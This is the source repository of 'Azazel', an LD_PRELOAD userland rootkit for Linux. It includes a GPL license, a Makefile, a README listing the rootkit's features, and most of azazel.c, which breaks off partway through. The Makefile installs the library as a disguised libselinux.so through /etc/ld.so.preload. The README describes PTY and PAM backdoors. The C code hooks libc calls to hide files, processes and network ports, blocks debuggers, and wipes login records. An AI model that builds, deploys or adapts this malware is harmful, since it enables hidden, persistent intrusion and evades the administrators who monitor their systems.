├── LICENSE ├── Makefile ├── README.md ├── azazel.c ├── azazel.h ├── client.c ├── config.py ├── const.h ├── crypthook.c ├── crypthook.h ├── pam.c ├── pcap.c ├── pcap.h ├── xor.c └── xor.h /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | INSTALL=/lib 2 | 3 | CFLAGS+= -Wall 4 | LDFLAGS+= -lc -ldl -lpam -lutil 5 | 6 | all: config libselinux.so 7 | 8 | client: 9 | $(CC) -fPIC client.c -shared -o client.so 10 | 11 | config: 12 | @python config.py > const.h 13 | 14 | libselinux.so: azazel.c pam.c xor.c crypthook.c pcap.c 15 | $(CC) -fPIC -g -c azazel.c pam.c xor.c crypthook.c pcap.c 16 | $(CC) -fPIC -shared -Wl,-soname,libselinux.so azazel.o xor.o pam.o crypthook.o pcap.o $(LDFLAGS) -o libselinux.so 17 | strip libselinux.so 18 | 19 | install: all 20 | @echo [-] Initiating Installation Directory $(INSTALL) 21 | @test -d $(INSTALL) || mkdir $(INSTALL) 22 | @echo [-] Installing azazel 23 | @install -m 0755 libselinux.so $(INSTALL)/ 24 | @echo [-] Injecting azazel 25 | @echo $(INSTALL)/libselinux.so > /etc/ld.so.preload 26 | 27 | clean: 28 | rm libselinux.so *.o 29 | 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Azazel 2 | #### V 0.1 3 | > The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin. -- 1 Enoch 2:8 4 | 5 | --- 6 | Azazel is a userland rootkit based off of the original LD_PRELOAD technique from Jynx rootkit. It is more robust and has additional features, and focuses heavily around anti-debugging and anti-detection. 7 | 8 | ### Features 9 | * Anti-debugging 10 | * Avoids unhide, lsof, ps, ldd detection 11 | * Hides files and directories 12 | * Hides remote connections 13 | * Hides processes 14 | * Hides logins 15 | * PCAP hooks avoids local sniffing 16 | * Two accept backdoors. 17 | * [Crypthook](https://github.com/chokepoint/CryptHook) encrypted accept() backdoor -- Full PTY 18 | * Plaintext accept() backdoor -- Full PTY 19 | * PAM backdoor for local privesc and remote entry 20 | * Log cleanup for utmp/wtmp entries based on pty 21 | 22 | Using netcat to communicate with a remote PTY isn't the best idea. See below for a better PTY client written by [InfoDox](https://github.com/infodox), or use socat with a command similar to the following and then just paste the password into the session, otherwise socat send the first char making the passwords not match. 23 | 24 | > socat -,raw,echo=0 TCP:target:port,bind=:61040 25 | 26 | ### Links 27 | * [Better PTY Client](https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_shell_handler.py) 28 | 29 | ### Disclaimer 30 | The authors are in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. We are also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk. 31 | -------------------------------------------------------------------------------- /azazel.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include "crypthook.h" 24 | #include "xor.h" 25 | #include "const.h" 26 | #include "azazel.h" 27 | 28 | // This shows up in strings... just because 29 | char *azazel="The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin."; 30 | 31 | void cleanup(void *var, int len) { 32 | DEBUG("cleanup called %s\n", var); 33 | memset(var, 0x00, len); 34 | free(var); 35 | } 36 | 37 | int is_owner(void) { 38 | init(); 39 | static int owner = -1; // Only initiate once. 40 | if (owner != -1) 41 | return owner; 42 | char *hide_term_str = strdup(HIDE_TERM_STR); 43 | x(hide_term_str); 44 | char *hide_term_var = getenv(hide_term_str); 45 | if (hide_term_var != NULL) { 46 | /* This is an owner shell... cleanup the logs */ 47 | char *pterm = ttyname(0); 48 | char *ptr = pterm+5; 49 | clean_wtmp(ptr,0); 50 | clean_utmp(ptr,0); 51 | owner = 1; 52 | } 53 | else 54 | owner = 0; 55 | cleanup(hide_term_str, strlen(hide_term_str)); 56 | return owner; 57 | } 58 | 59 | void clean_wtmp(char *pts, int verbose) { 60 | DEBUG("clean_wtmp\n"); 61 | struct utmp utmp_ent; 62 | char *wtmp_file = strdup(WTMP_FILE_X); 63 | int fd; 64 | x(wtmp_file); 65 | if((fd=(long)syscall_list[SYS_OPEN].syscall_func(wtmp_file,O_RDWR))>=0){ 66 | lseek(fd,0,SEEK_SET); 67 | while(read(fd,&utmp_ent,sizeof(utmp_ent))>0){ 68 | if(!strncmp(utmp_ent.ut_line,pts,strlen(pts))){ 69 | memset(&utmp_ent,0x00,sizeof(utmp_ent)); 70 | lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR); 71 | write(fd,&utmp_ent,sizeof(utmp_ent)); 72 | } 73 | } 74 | close(fd); 75 | } 76 | if (verbose) { 77 | char *wtmp_msg = strdup(WTMP_MSG); 78 | x(wtmp_msg); 79 | printf("%s\n",wtmp_msg); 80 | cleanup(wtmp_msg, strlen(wtmp_msg)); 81 | } 82 | cleanup(wtmp_file, strlen(wtmp_file)); 83 | } 84 | 85 | void clean_utmp(char *pts, int verbose) { 86 | DEBUG("clean_utmp\n"); 87 | struct utmp utmp_ent; 88 | char *utmp_file = strdup(UTMP_FILE_X); 89 | int fd; 90 | x(utmp_file); 91 | if((fd=(long)syscall_list[SYS_OPEN].syscall_func(utmp_file,O_RDWR))>=0){ 92 | lseek(fd,0,SEEK_SET); 93 | while(read(fd,&utmp_ent,sizeof(utmp_ent))>0){ 94 | if(!strncmp(utmp_ent.ut_line,pts,strlen(pts))){ 95 | memset(&utmp_ent,0x00,sizeof(utmp_ent)); 96 | lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR); 97 | write(fd,&utmp_ent,sizeof(utmp_ent)); 98 | } 99 | } 100 | close(fd); 101 | } 102 | if (verbose) { 103 | char *utmp_msg = strdup(UTMP_MSG); 104 | x(utmp_msg); 105 | printf("%s\n",utmp_msg); 106 | cleanup(utmp_msg, strlen(utmp_msg)); 107 | } 108 | cleanup(utmp_file, strlen(utmp_file)); 109 | } 110 | 111 | void azazel_init(void) { 112 | DEBUG("[-] azazel.so loaded.\n"); 113 | int i, fd; 114 | 115 | if (constr) 116 | return; 117 | constr=1; 118 | 119 | for (i = 0; i < SYSCALL_SIZE; ++i) { 120 | char *scall = strdup(syscall_table[i]); 121 | x(scall); 122 | strncpy(syscall_list[i].syscall_name, scall, 50); 123 | syscall_list[i].syscall_func = dlsym(RTLD_NEXT, scall); 124 | cleanup(scall,strlen(scall)); 125 | } 126 | } 127 | 128 | void init(void) { 129 | azazel_init(); 130 | } 131 | 132 | long ptrace(void *request, pid_t pid, void *addr, void *data) { 133 | char *anti_debug_msg = strdup(ANTI_DEBUG_MSG); 134 | x(anti_debug_msg); 135 | printf("%s\n",anti_debug_msg); 136 | cleanup(anti_debug_msg, strlen(anti_debug_msg)); 137 | exit(-1); 138 | } 139 | 140 | int parse_environ(char *stack, int len, char *needle) { 141 | DEBUG("parse_environ\n"); 142 | char *step = stack; 143 | 144 | while(1) { 145 | if (strstr(step,needle)) 146 | return 1; 147 | if (*step+1 != '\0') { 148 | step++; 149 | if (step-stack >= len) { 150 | return 0; 151 | } 152 | } else 153 | return 0; 154 | } 155 | } 156 | 157 | int is_invisible(const char *path) { 158 | DEBUG("is_invisible\n"); 159 | struct stat s_fstat; 160 | char line[MAX_LEN]; 161 | char p_path[PATH_MAX]; 162 | char *config_file = strdup(CONFIG_FILE); 163 | FILE *cmd; 164 | int fd; 165 | 166 | init(); 167 | 168 | x(config_file); 169 | if(strstr(path, MAGIC_STRING) || strstr(path, config_file)) { 170 | cleanup(config_file, strlen(config_file)); 171 | return 1; 172 | } 173 | char *proc_path = strdup(PROC_PATH); 174 | x(proc_path); 175 | if(strstr(path, proc_path)){ 176 | cleanup(proc_path,strlen(proc_path)); 177 | if((long) syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, &s_fstat) != -1){ 178 | char *cmd_line = strdup(CMD_LINE); 179 | char *env_line = strdup(ENV_LINE); 180 | x(cmd_line); 181 | x(env_line); 182 | snprintf(p_path, PATH_MAX, env_line, path); 183 | cleanup(cmd_line,strlen(cmd_line)); 184 | cleanup(env_line, strlen(env_line)); 185 | if((long)(syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, p_path, &s_fstat)) != -1){ 186 | cmd = syscall_list[SYS_FOPEN].syscall_func(p_path, "r"); 187 | if(cmd){ 188 | char *hide_term_str = strdup(HIDE_TERM_STR); 189 | x(hide_term_str); 190 | int res; 191 | char *step = &line[0]; 192 | while((res=fgets(line, MAX_LEN, cmd) != NULL)) { 193 | if (parse_environ(line, MAX_LEN, hide_term_str) == 1) { 194 | cleanup(config_file, strlen(config_file)); 195 | cleanup(hide_term_str, strlen(hide_term_str)); 196 | return 1; 197 | } 198 | memset(line,0x00,MAX_LEN); 199 | } 200 | fclose(cmd); 201 | } 202 | } 203 | } 204 | } else { 205 | cleanup(proc_path,strlen(proc_path)); 206 | } 207 | cleanup(config_file,strlen(config_file)); 208 | return 0; 209 | } 210 | 211 | int is_procnet(const char *filename) { 212 | DEBUG("is_procnet\n"); 213 | char *proc_net_tcp = strdup(PROC_NET_TCP); 214 | char *proc_net_tcp6 = strdup(PROC_NET_TCP6); 215 | x(proc_net_tcp); 216 | x(proc_net_tcp6); 217 | 218 | if (strcmp (filename, proc_net_tcp) == 0 219 | || strcmp (filename, proc_net_tcp6) == 0) { 220 | cleanup(proc_net_tcp,strlen(proc_net_tcp)); 221 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6)); 222 | return 1; 223 | } 224 | 225 | cleanup(proc_net_tcp,strlen(proc_net_tcp)); 226 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6)); 227 | return 0; 228 | } 229 | 230 | FILE *hide_ports(const char *filename) { 231 | DEBUG("hide_ports called\n"); 232 | char line[LINE_MAX]; 233 | char *proc_net_tcp = strdup(PROC_NET_TCP); 234 | char *proc_net_tcp6 = strdup(PROC_NET_TCP6); 235 | 236 | init(); 237 | x(proc_net_tcp); 238 | x(proc_net_tcp6); 239 | 240 | unsigned long rxq, txq, time_len, retr, inode; 241 | int local_port, rem_port, d, state, uid, timer_run, timeout; 242 | char rem_addr[128], local_addr[128], more[512]; 243 | 244 | FILE *tmp = tmpfile(); 245 | FILE *pnt = syscall_list[SYS_FOPEN].syscall_func(filename, "r"); 246 | 247 | while (fgets(line, LINE_MAX, pnt) != NULL) { 248 | char *scanf_line = strdup(SCANF_LINE); 249 | x(scanf_line); 250 | sscanf(line, 251 | scanf_line, 252 | &d, local_addr, &local_port, rem_addr, &rem_port, &state, 253 | &txq, &rxq, &timer_run, &time_len, &retr, &uid, &timeout, &inode, more); 254 | cleanup(scanf_line,strlen(scanf_line)); 255 | 256 | if((rem_port >= LOW_PORT && rem_port <= HIGH_PORT) || (rem_port >= CRYPT_LOW && rem_port <= CRYPT_HIGH) || (rem_port == PAM_PORT)){ 257 | continue; 258 | } else{ 259 | if((local_port >= LOW_PORT && local_port <= HIGH_PORT) || (local_port >= CRYPT_LOW && local_port >= CRYPT_HIGH) || (local_port == PAM_PORT)){ 260 | continue; 261 | }else{ 262 | fputs(line, tmp); 263 | } 264 | } 265 | } 266 | 267 | cleanup(proc_net_tcp,strlen(proc_net_tcp)); 268 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6)); 269 | fclose(pnt); 270 | fseek(tmp, 0, SEEK_SET); 271 | return tmp; 272 | } 273 | 274 | int access(const char *path, int amode) { 275 | DEBUG("access hooked.\n"); 276 | if (is_owner()) 277 | return (long)syscall_list[SYS_ACCESS].syscall_func(path, amode); 278 | 279 | if(is_invisible(path)) { 280 | errno = ENOENT; 281 | return -1; 282 | } 283 | 284 | return (long)syscall_list[SYS_ACCESS].syscall_func(path,amode); 285 | } 286 | 287 | FILE *fopen (const char *filename, const char *mode) { 288 | DEBUG("fopen hooked %s.\n", filename); 289 | if (is_owner()) 290 | syscall_list[SYS_FOPEN].syscall_func(filename, mode); 291 | 292 | if (is_procnet(filename)) 293 | return hide_ports(filename); 294 | 295 | if (is_invisible(filename)) { 296 | errno = ENOENT; 297 | return NULL; 298 | } 299 | return syscall_list[SYS_FOPEN].syscall_func(filename, mode); 300 | } 301 | 302 | FILE *fopen64 (const char *filename, const char *mode) { 303 | DEBUG("fopen hooked %s.\n", filename); 304 | if (is_owner()) 305 | return syscall_list[SYS_FOPEN64].syscall_func(filename, mode); 306 | 307 | if (is_procnet(filename)) 308 | return hide_ports(filename); 309 | 310 | if (is_invisible(filename)) { 311 | errno = ENOENT; 312 | return NULL; 313 | } 314 | 315 | return syscall_list[SYS_FOPEN64].syscall_func(filename, mode); 316 | } 317 | 318 | int lstat(const char *file, struct stat *buf) { 319 | DEBUG("lstat hooked.\n"); 320 | if (is_owner()) 321 | return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf); 322 | 323 | if(is_invisible(file)) { 324 | errno = ENOENT; 325 | return -1; 326 | } 327 | 328 | return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf); 329 | } 330 | 331 | int lstat64(const char *file, struct stat64 *buf) { 332 | DEBUG("lstat64 hooked.\n"); 333 | if (is_owner()) 334 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(_STAT_VER, file, buf); 335 | 336 | if (is_invisible(file)) { 337 | errno = ENOENT; 338 | return -1; 339 | } 340 | 341 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(_STAT_VER, file, buf); 342 | } 343 | 344 | int __lxstat(int ver, const char *file, struct stat *buf) { 345 | DEBUG("__lxstat hooked.\n"); 346 | if (is_owner()) 347 | return (long)syscall_list[SYS_LXSTAT].syscall_func(ver, file, buf); 348 | 349 | if (is_invisible(file)) { 350 | errno = ENOENT; 351 | return -1; 352 | } 353 | 354 | return (long)syscall_list[SYS_LXSTAT].syscall_func(ver, file, buf); 355 | } 356 | 357 | int __lxstat64(int ver, const char *file, struct stat64 *buf) { 358 | DEBUG("__lxstat64 hooked.\n"); 359 | if (is_owner()) 360 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf); 361 | 362 | if(is_invisible(file)) { 363 | errno = ENOENT; 364 | return -1; 365 | } 366 | 367 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf); 368 | } 369 | 370 | int open(const char *pathname, int flags, mode_t mode) { 371 | DEBUG("open hooked.\n"); 372 | if (is_owner()) 373 | return (long)syscall_list[SYS_OPEN].syscall_func(pathname, flags, mode); 374 | 375 | if(is_invisible(pathname)) { 376 | errno = ENOENT; 377 | return -1; 378 | } 379 | 380 | return (long)syscall_list[SYS_OPEN].syscall_func(pathname,flags,mode); 381 | } 382 | 383 | int rmdir(const char *pathname) { 384 | DEBUG("rmdir hooked.\n"); 385 | if (is_owner()) 386 | return (long)syscall_list[SYS_RMDIR].syscall_func(pathname); 387 | 388 | if(is_invisible(pathname)) { 389 | errno = ENOENT; 390 | return -1; 391 | } 392 | 393 | return (long)syscall_list[SYS_RMDIR].syscall_func(pathname); 394 | } 395 | 396 | int stat(const char *path, struct stat *buf) { 397 | DEBUG("stat hooked\n"); 398 | if (is_owner()) 399 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf); 400 | 401 | if(is_invisible(path)) { 402 | errno = ENOENT; 403 | return -1; 404 | } 405 | 406 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf); 407 | } 408 | 409 | int stat64(const char *path, struct stat64 *buf) { 410 | DEBUG("stat64 hooked.\n"); 411 | if (is_owner()) 412 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf); 413 | 414 | if(is_invisible(path)) { 415 | errno = ENOENT; 416 | return -1; 417 | } 418 | 419 | return (long)syscall_list[SYS_XSTAT64].syscall_func(_STAT_VER, path, buf); 420 | } 421 | 422 | int __xstat(int ver, const char *path, struct stat *buf) { 423 | DEBUG("xstat hooked. path: %s\n",path); 424 | if (is_owner()) 425 | return (long)syscall_list[SYS_XSTAT].syscall_func(ver, path, buf); 426 | 427 | if(is_invisible(path)) { 428 | DEBUG("File is invisble.\n"); 429 | errno = ENOENT; 430 